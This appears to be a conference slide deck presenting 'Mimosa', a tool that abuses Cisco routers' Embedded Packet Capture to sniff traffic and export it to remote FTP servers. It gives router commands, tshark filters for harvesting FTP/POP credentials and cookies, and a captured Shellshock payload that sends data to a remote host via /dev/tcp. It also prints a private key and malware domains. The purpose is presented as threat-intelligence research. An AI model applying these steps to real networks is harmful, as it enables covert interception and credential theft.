











µMIMOSAWRITERROUTER

Abusing EPC on Cisco Routers to Collect Data.



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Why this name?

www.nsanamegenerator.com









Agenda

- 1 / About Us
- 2 / Introduction & Motivation
- 3 / EPC / Evil / How EPC works / Abusing

EPC

4 / Mimosa / Our approach / Demo /

Potential

5 / Threat Intelligence

6 / Future

7 / Conclusion











About us







1 / About us



Rafael Silva aka @rfdslabs

CTO at @EstuárioTl

Twitter @rfdslabs









1 / About us



Joaquim Espinhara aka @Jespinhara

Senior Security Consultant at @securusglobal











Introduction & motivation









2 / Introduction & motivation

- We are NOT exploiting a 0day on Cisco devices.
- We are aware of other methods, like GRE tunnels, port mirroring, lawful interception, etc.
- This is an automated tool to help pentesters / Threat intelligence to collect interesting data in a controlled environment.
- This is really useful tool for threat intelligence data gathering.
- You have to get ENABLE privilege on the router to use Mimosa.









2 / Introduction & motivation

```
2009 / @jespinhara @h2hc about GRE-TUNNELS.
2009 / @rfdslabs tell about EPC to @jespinhara.
2010 / Hacking the Planet...
2011 / Hacking the Planet...
2012 / Hacking the Planet...
2013 / Hacking the Planet...
2014 / Hacking the Planet...
2015 / Mimosa released.
```









EPC Embedded Packet Capture









3 / EPC

The ability to capture IPv4 and IPv6 packets.

A flexible method for specifying the capture buffer size and type.

EXEC-level commands to start and stop the capture.

Show commands to display packet contents on the device.

Facility to export the packet capture in PCAP format.

Extensible infrastructure for enabling packet capture points.









3 / EPC / Abuse

The ability to capture IPv4 and IPv6 packets.

A flexible method for specifying the capture buffer size and type.

• Space to store sniffing content in router memory.

EXEC-level -> enable mode start and stop the capture.

Need some hacking to Enable, cisco/cisco.



Show commands to display packet contents on the device.

Sniffing on the fly.

Facility to export the packet capture in PCAP format.

Make your pcap-farm-server.

Extensible infrastructure for enabling packet capture points.

• All Your Network Are Belong to Us.









Define a Capture Buffer and Size and Type (Linear OR Circular):

Router# monitor capture buffer <u>NAMEbuff</u> size 32400 max–size 9500 linear OR circular Router#

Define a Capture point (interfaces and directions):

```
Router# monitor capture point ip cef Name-Cap-Point all ?
both capture ingress and egress
in capture on ingress
out capture on egress
```

Associate the capture point to our buffer:

Router# monitor capture point associate mimosa-point mimosa Router# monitor capture point associate mimosa-point mimosa ? WORD Name of the Capture Buffer

2

 \mathbf{Q}









Start / stop the capture point:

4

```
Router# monitor capture point start mimosa-point
Router# monitor capture point start ?
WORD Name of the Capture Point
all All Capture Points
```

Linear / When the buffer is full, the capture will stop.

Circular / The buffer will be overwritten with new packets.





Export the capture in PCAP format to a remote location:

```
Router# monitor capture buffer mimosa export ?
    flash0: Location to dump buffer
    flash1: Location to dump buffer
    flash:
           Location to dump buffer
            Location to dump buffer
    ftp:
            Location to dump buffer
    http:
            Location to dump buffer
    https:
            Location to dump buffer
    rcp:
            Location to dump buffer
    scp:
    tftp:
            Location to dump buffer
```

Router# monitor capture buffer mimosa export ftp://dhillon:HITB@127.0.0.1/Router1.pcap Writing Router1.pcap Router#
Router#

C







Sniffing on the fly:

```
Router#sh monitor capture buffer mimosa dump
21:53:56.471 UTC Mar 25 2015 : IPv4 LES CEF
                                               : Gi0/0 None
22822880: 10F311AB 6FA0FC48 EF24FDC5 08004530
                                               .s.+o |Ho$}E..E0
22822890: 0028F847 40002806 E392BB4A FA7C2421
                                               .(xG@.(.c.;Jz|$!
228228A0: 9CDDCC18 0017D071 FA61BC65 64365010
                                               .]L...Paza<ed6P.
228228B0: FFFF816F 000010F3 00000000 00
                                               ...0...5.....
21:53:56.471 UTC Mar 25 2015 : IPv4 LES CEF
                                               : Gi0/0 None
22822880: 10F311AB 6FA0FC48 EF24FDC5 08004530
                                               .s.+o |Ho$}E..E0
22822890: 0028EE73 40002806 ED66BB4A FA7C2421
                                               .(ns@.(.mf;Jz|$!
228228A0: 9CDDCC18 0017D071 FA61BC65 64375010
                                               .]L...Pqza<ed7P.
228228B0: FFFF816E 000011AB 00000000 00
                                               ...n...+....
21:53:56.471 UTC Mar 25 2015 : IPv4 LES CEF
                                               : Gi0/0 None
22822880: 10F311AB 6FA0FC48 EF24FDC5 08004530
                                               .s.+o |Ho$}E..E0
22822890: 0028C019 40002806 1BC1BB4A FA7C2421
                                               .(@.@.(..A;Jz|$!
                                               .]L...Paza<ed8P.
228228A0: 9CDDCC18 0017D071 FA61BC65 64385010
228228B0: FFFF816D 00000000 000000000 00
                                               ...m......
```









The main problem is export the capture to a REMOTE location.

No way to disable the EPC OR block the export to a remote location ⁽³⁾

This is a feature, is not a BUG ©











Mimosa Framework











4 / Mimosa / Our approach



Mimosa> help

Documented commands (type help <topic>):

DTI

```
4 / Mimosa Framework
```

```
li
_load
                ed
                                                               start_capture
                                          pause
                                                 set
                         list
_relative_load
                edit
                                                 shell
                                                               stop_capture
                                          ру
add_target
                hi
                                                 shortcuts
                          list_targets
cmdenvironment
                history
                          load
                                                 show
                                          run
del_target
                                                 show_target
                         mimosa_options
                                          save
```

Undocumented commands:

EOF eof exit help moo q quit

```
Mimosa> list_targets
* IP Address Capture
```

192.168.1.1 [RUNNING]

127.0.0.1 [STOPPED]

192.168.4.4 [STOPPED]

192.168.4.2 [STOPPED]

192.168.4.1 [RUNNING]

192.168.4.10 [STOPPED]

Mimosa> mimosa_options list

* Name Value

Mimosa>

cisco_passwd cisco
ftp_string 127.0.0.1
ftp_string <NONE>
ftp_string <NONE>
cap_interval 300







Tshark

User Agents (Client Side Exploitation)

tshark -Y 'http contains "User-Agent:"' -T fields -e http.user_agent -nIr pcapfile

```
tshark -Y 'http contains "User-Agent:"' -T fields -e http.
*BcfBAAAAOVBAAEFBAAgNw_3M9VXf1qD7mJaAIFC4rBu1nFKAjNAAAEAAKAA=
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.5
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Microsoft-CryptoAPI/6.1
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Microsoft-CryptoAPI/6.1
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.5
Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Microsoft-CryptoAPI/6.1
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.5
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.5
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.5
```









4 / Mimosa / Detect Threats

Tshark

HTTP Requests

tshark -T fields -e http.host -e http.request.uri -Y 'http.request.method == "GET" -nlr pcapfile

```
$ tshark -T fields -e http.host -e http.request.uri -Y 'http.request.method == "GET"'
      uas: ____atura
r6---sn-hp57knse.gvt1.com
                                /edgedl/chrome/win/A5DD0C0C614FD2E0/41.0.2272.101_chrome_installer.exe?cms_redirect
&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,nh,pl,shardbypass&signature=357D899690D43287A5747D339F13110ED3E0
                                /edgedl/chrome/win/A5DD0C0C614FD2E0/41.0.2272.101_chrome_installer.exe?cms_redirect
r6---sn-hp57knse.gvt1.com
&shardbypass=yes&sparams=expire,ip,ipbits,mm,ms,mv,nh,pl,shardbypass&signature=357D899690D43287A5747D339F13110ED3E0
au.download.windowsupdate.com /d/msdownload/update/software/secu/2015/01/proof-es-es_a7668faa8c405381c0b128edd270
au.download.windowsupdate.com
                               /d/msdownload/update/software/secu/2015/01/proof-es-es_a7668faa8c405381c0b128edd270
                        /ping?h=pt-br.msn.com&p=%2Fpt-br&u=BAXXBiDw92q3CTB-9H&d=msn.com&g=42635&g0=homepage&n=0&f=f
ping.chartbeat.net
1zkFiTtbC6BKLfFv&V=51&z=t%3DC50BnlDI0Gz7D4HX0cBn8-plCzpTy9%26E%3D0%26x%3D0%26c%3D7.06%26y%3D5800%26w%3D767&i=MSN%20
ping.chartbeat.net
                        /ping?h=pt-br.msn.com&p=%2Fpt-br&u=BAXXBiDw92q3CTB-9H&d=msn.com&g=42635&g0=homepage&n=0&f=f
1zkFiTtbC6BKLfFv&V=51&z=t%3DC50BnlDI0Gz7D4HX0cBn8-plCzpTy9%26E%3D0%26x%3D0%26c%3D7.06%26y%3D5800%26w%3D767&i=MSN%20
                       /delivery/?p=220509&sc=599&r=63190
ia.nspmotion.com
ia.nspmotion.com
                       /delivery/?p=220509&sc=599&r=63190
                /ADSAdClient31.dll?GetSAd=&VWS=0&AP=1064&ID=0CD485FBA6C26F320F468093A2C26D43&MUID=0CD485FBA6C26F320
rad.msn.com
               /ADSAdClient31.dll?GetSAd=&VWS=0&AP=1064&ID=0CD485FBA6C26F320F468093A2C26D43&MUID=0CD485FBA6C26F320
rad.msn.com
ping.chartbeat.net
                        /ping?h=pt-br.msn.com&p=%2Fpt-br&u=BAXXBiDw92q3CTB-9H&d=msn.com&g=42635&g0=homepage&n=0&f=f
ZGCPr2IjC-Xx1PBX2SxI&V=51&tz=180&_cdname=eastus&sn=5&_
ping.chartbeat.net
                       /ping?h=pt-br.msn.com&p=%2Fpt-br&u=BAXXBiDw92q3CTB-9H&d=msn.com&g=42635&g0=homepage&n=0&f=f
```









Tshark

Geo IP

tshark -r pcapfile -o "ip.use_geoip:TRUE" -o column.format:""IP_Flags", "%Cus:ip.flags". "IP_src", "%Cus:ip.src". "IP_dst", "%Cus:ip.dst", "CITY", "%Cus:ip.geoip.city", "Latitude", "%Cus:ip.geoip.lat""

All Protocols

tshark -i2 -nqzio,phs -r pcapfile

DNS Requests (Virus Total)

• tshark -nn -e ip.src -e dns.qry.name -T fields -Y "dns" -r pcaptile

User Agents (Client Side Attacks)

tshark -Y 'http contains "User-Agent:" -T fields -e http.user_agent -r pcapfile









Tshark

FTP Creds

• tshark -Y "(ftp.response.code == 230 || ftp.request.command == "PASS") || (ftp.request.command == "USER")" -nlr pcapfile

POP Creds

• tshark -Y "(pop.request.command == "PASS") || (pop.request.command == "USER")" -nlr pcapfile

Cookies (Hijack)

tshark -r pcapfile -Y 'http.cookie' -z
 "proto,colinfo,http.content_type,http.content_type" -z
 "proto,colinfo,http.content_length,http.content_length" -z
 "proto,colinfo,http.cookie,http.cookie"









- Extract Files With Bro
- ► csv

- ► html
- http
- img
- ssl 📄
- ► txt
- xml

Carving With bro

```
global ext_map: table[string] of string = {
    ["application/x-dosexec"] = "exe",
    ["text/plain"] = "txt",
    ["text/csv"] = "csv",
    ["text/javascript"] = "jscript",
    ["text/vcard"] = "vcard",
    ["image/jpeg"] = "jpg",
    ["image/png"] = "png",
    ["text/html"] = "html",
    ["application/json"] ="json",
    ["application/javascript"] = "js",
    ["application/pdf"] = "pdf",
    ["application/xml"] = "xml",
    ["application/zip"] = "zip",
    ["audio/mp4"] = "mp4",
    ["audio/mpeg"] = "mpeg",
    ["audio/flac"] = "flac",
} &default ="";
event file_new(f: fa_file)
    local ext = "";
   if ( f?$mime_type )
        ext = ext_map[f$mime_type];
    local fname = fmt("%s-%s.%s", f$source, f$id, ext);
    Files::add_analyzer(f, Files::ANALYZER_EXTRACT, [$extract_filename=fname]);
```











```
xdqzpbcgrvkj.ru /in.php
xdqzpbcgrvkj.ru /in.php
http://thescorpionking.no-ip.org:1604/ready
http://thescorpionking.no-ip.org:1604/ready
http://thescorpionking.no-ip.org:1604/ready
anam@rph.su /in.php
anam@rph.su /in.php
ygiudewsghct.in /in.php
ygiudewsghct.in /in.php
```



URL: http://ygiudewsqhct.in/

Detection ratio: 4 / 62

Analysis date: 2015-04-09 09:26:21 UTC (3 days, 10 hours ago)











Domains (7)

Hosts (4)

HTTP (6)

IRC (0)

SMTP (0)

Domains

DOMAIN	IP
www.update.microsoft.com	65.55.200.156
xdqzpbcgrvkj.ru	195.22.26.231
anam0rph.su	195.22.26.231
orzdwjtvmein.in	195.22.26.231
ygiudewsqhct.in	195.22.26.231
bdcrqgonzmwuehky.nl	195.22.26.231
somicrososoft.ru	217.23.11.124







```
Follow: tcp,ascii
Filter: tcp.stream eq 105
Node 0:
                  .48:53983
Node 1: 103.10.228.231:80
138
GET / HTTP/1.1
Accept-Encoding: identity:
Connection: close
User-Agent: () { :;}; echo; /bin/uname -a > /dev/tcp/45.55.157.194/80;
```





```
10974 696.575995 192.168.1.2 ->
                                            82 POP 69 C: USER !
10975 696.575995 124.124.6.17 ->
                                            82 POP 69 C: USER !
10994 696.840001 192.168.1.2 ->
                                            82 POP 56 C: PASS !
                                            82 POP 56 C: PASS !
10995 696.840001 124.124.6.17 ->
11084 699.139998 192.168.1.2 ->
                                            82 POP 66 C: USER (
11085 699.139998 124.124.6.17 ->
                                            82 POP 66 C: USER (
11088 699.415996 192.168.1.2 ->
                                            82 POP 59 C: PASS (
11089 699.415996 124.124.6.17 ->
                                            82 POP 59 C: PASS (
27766 2502.091997 192.168.1.2 -:
                                            .82 POP 69 C: USER
27767 2502.091997 124.124.6.17 -:
                                            .82 POP 69 C: USER
27818 2502.363995 192.168.1.2 -:
                                            .82 POP 56 C: PASS
27819 2502.363995 124.124.6.17 -:
                                            .82 POP 56 C: PASS
27879 2506.724000 192.168.1.2 -:
                                            .82 POP 66 C: USER
27880 2506.724000 124.124.6.17 -:
                                            .82 POP 66 C: USER
27883 2506.999998 192.168.1.2 -:
                                            .82 POP 59 C: PASS
27884 2506.999998 124.124.6.17 -:
                                            .82 POP 59 C: PASS
```













SHA256: 7a35ba1be86a763c0cbb3b6c7b70b4950c8e86f79e4ade3b2b6a1772426f527a

File name: HTTP-F67Wlq11nl1dQiX3He.exe

Detection ratio: 4 / 57

Analysis date: 2015-04-05 23:32:16 UTC (1 minute ago)

■ Analysis
♠ File detail
♠ Additional information
♠ Comments
♠ Votes

Antivirus	Result	Update
Comodo	Heur.Corrupt.PE	20150405
Cyren	W32/Damaged_File.gen!Eldorado	20150405
F-Prot	W32/Damaged_File.gen!Eldorado	20150401
TheHacker	W32/Behav-Heuristic-CorruptFile-EP	20150403














View - key

File Edit View Help

---BEGIN RSA PRIVATE KEY----

MIIEowIBAAKCAQEAye/J3XWQIzD9dmEG30NAKBPDuKI23TWrQpE9VhIS8W4mIYSJ 45d5MWXfpsiM6Vy60pmH51qsP1Dh0SLYL6s/D/nhJ6kXT5FuaaeRQNi1Z9pZM7pf f+LOdV8LGTM/7G3jdXNcAnoNpmk3137rWKol6rDJ0PZ/Srh4S8lSR5pO6ji+Knwb b8auUV0qz/zYlkDduG4Z+bd/NSS+nWMVyE0w+t1z5zZRud7/J130p3BhZGgEbWlv J6qmTcKt6Uu8NXhDBGgg04JJ4sB4HbT77SeEWN6UAJVlBGMHtNc9+TNlu3/9N6Ve S2C61gZQi5upA6wYrwLyzTWftBRHTb3gRrx3wQlDAQABAolBABEQZDyEjL1Z9HEm bdA7/JXmZamae4xh1qD/aPF3nlysdDl6SvSifilAdl/BbrbhkR/uvV89eES5bvuf OCI/DQsqkG4rib69iVkAQfP63Al0mAkY/Kzv24Zri6KLhCFUf94S63mCGtkvFvrs zLJnW+2JFuTDj6oewHuWYLkQPw7ngiuZTZm4kdHe3u31Kf9Y73/K27+kO2PL5Trc cpW3xKSiNZtY3P5pYfJSSnk0UgclgSZ+A3+08y6ESB+UPeGjPMI+fv1M3MqIzbUe 3S0leRXD+Y0umkadoe3arhGQS3s0yDwdYRxK7QTUeMWV6j7Q+NL90s4Fjsckk3+T eVFIPgkCgYEA5zXmJhg1m/cx56MhL0B2oNxN4aJq9c8PgCilUC1xs3FPK3E58n9c H13FGv1r5fqbd/yr1EDg58NFetjlCXQX5ysTct7jLJ5zTlYR4T4/C5UaWMDFHpmK nJ/RYTVsIBpNPMmbRcopAjvOq9fDUb1ZH9UzhEp2QavK3evdixiZqHcCgYEA35Zm wJjUfZ0DQy7jPisnY+74NaMEp1oY5QUv8ijBT0rtlLoZ8N/MW2jhksbTb0xFRwJF SVk5G6o5II1TRz0156ka7q51C1vIPi3AxIRxSkvmSYC1ppqOD8NcCAVmgc+Y2f9k XWWSoiXX+UsoUeDwtkl9b6eegoTB2N9hochpp4cCgYEAymQMCty2UMiaDsJlkg9D yJwQMKsUJggS8YSJjmW5WfKd8tEygGuslGjc2Tts7+vnm6i6YRpJxZbRgy+wK1ZM djbm1270PWKWWy4hCKKMXX8viPF1m8ub4m6jwgwZ96ruYX+5Q+Yq76Ga0ClW/75X /d2LMwpbajEPbCPD0ra+CxECgYBEEnVsM9uV9ABlxv02rMrMWShGpEA5d2vW5lJn ptLcAlLZw08+79Q3DGKJHnGmWvTonp9bqoeBjb0Es5s00EWeJ1Uk0Aagk7Tizmk/ K5eWaC9Pt5kWhT21P0RbKNHBueOuk1wKN2+CYIU1yBUZgK0ozA0dnmnbEPl3xiLi b7MDJwKBgAHa7lDKV5DoiQTUEayra6vVHLmWVLPoNz8j9lDUXyul6gM6fl8Gh0kf yibifawyCs/Sk9EDru9vG6Ae1GUCpvD34yB/CirysQgTlKbd+3gJk0C2JpMGHLf+ Cutlz+Jo10YMCDN73jWt+BW0UmQMyXmjR8ilSbqnNHNyGc0xmKRA -END RSA PRIVATE KEY-

1.675 bytes







```
dasdasdas
                rfdslabs$ wget www.se7c.com
--2015-04-03 23:34:06-- http://www.se7c.com/
Resolving www.se7c.com... 180.97.161.148
Connecting to www.se7c.com|180.97.161.148|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]
Saving to: 'index.html'
index.html
2015-04-03 23:34:09 (11.2 KB/s) - 'index.html' saved [9293]
                rfdslabs$ grep -i baidu index.html
dasdasdas:
<script type="text/javascript" src="http://dup.baidustatic.com/js/zm.js"></script>
<script src="http://cpro.baidustatic.com/cpro/ui/cm.js" type="text/javascript"></script>
<script src="http://cpro.baidustatic.com/cpro/ui/cm.js" type="text/javascript"></script>
    <div id="baidu_dup_923361"></div>
    <script type="text/javascript">(BAIDU_DUP=window.BAIDU_DUP||[]).push(["fillAsync","923361","baidu_dup_923361"]);</script>
    <script src="http://cpro.baidustatic.com/cpro/ui/cm.js" type="text/javascript"></script>
    <script src="http://cpro.baidustatic.com/cpro/ui/cm.js" type="text/javascript"></script>
<script src="http://cpro.baidustatic.com/cpro/ui/cm.js"</pre>
                                                          type="text/javascript"></script>
<script src="http://cpro.baidustatic.com/cpro/ui/cm.js"</pre>
                                                          type="text/javascript"></script>
```










Index of /loga

<u>Name</u>	Last modified	Size Description
Parent Directory		_
0A1wRkmEvi6dv2b1Ykj1.txt	15-Dec-2014 15:34	46K
0AAepb57jzMguego7iOR.txt	01-Feb-2015 01:55	63K
0AMdA108a9uIMn92kH1N.txt	31-Jan-2015 00:54	255K
0AcYyEn7Fs1kDltN1Rjh.txt	14-Dec-2014 22:19	2
0AoXhJKLDTbm5bZoYWuW.txt	31-Jan-2015 02:46	112K
0ApuDpZL3XuSbuvvY8Us.txt	30-Jan-2015 05:52	190K
0AwDk32Fj8HZSmjPB4yf.txt	14-Dec-2014 17:37	353K
0B9hlF7oRF0qkORe3loD.txt	26-Feb-2015 14:25	21K
0BBD3TF1vF1IZYG9oa2s.txt	14-Mar-2015 17:25	30K

















5 / Mimosa / Potential

Some numbers:

- 300 Routers
- 1MB per hour
- 24hr per day
- 365 days per year
- 1hr = 300 MB
- 24hr = 7200 = 7.2 GB
- 365 = 2628000 = 2566,40625 GB = 2,506256104 TB









Future











6 / Future

Add support to another devices, such as mikrotik and Juniper.

A dashboard for better visualization of the sensitive data.

Other attack options like bruteforce, CVE-XXXX.

PCAP Automatic Analysis (pyshark).

Mimosa farm daemon.











Mimosa

https://github.com/rfdslabs/Mimosa-Framework

Download and coding with us. Python Based.

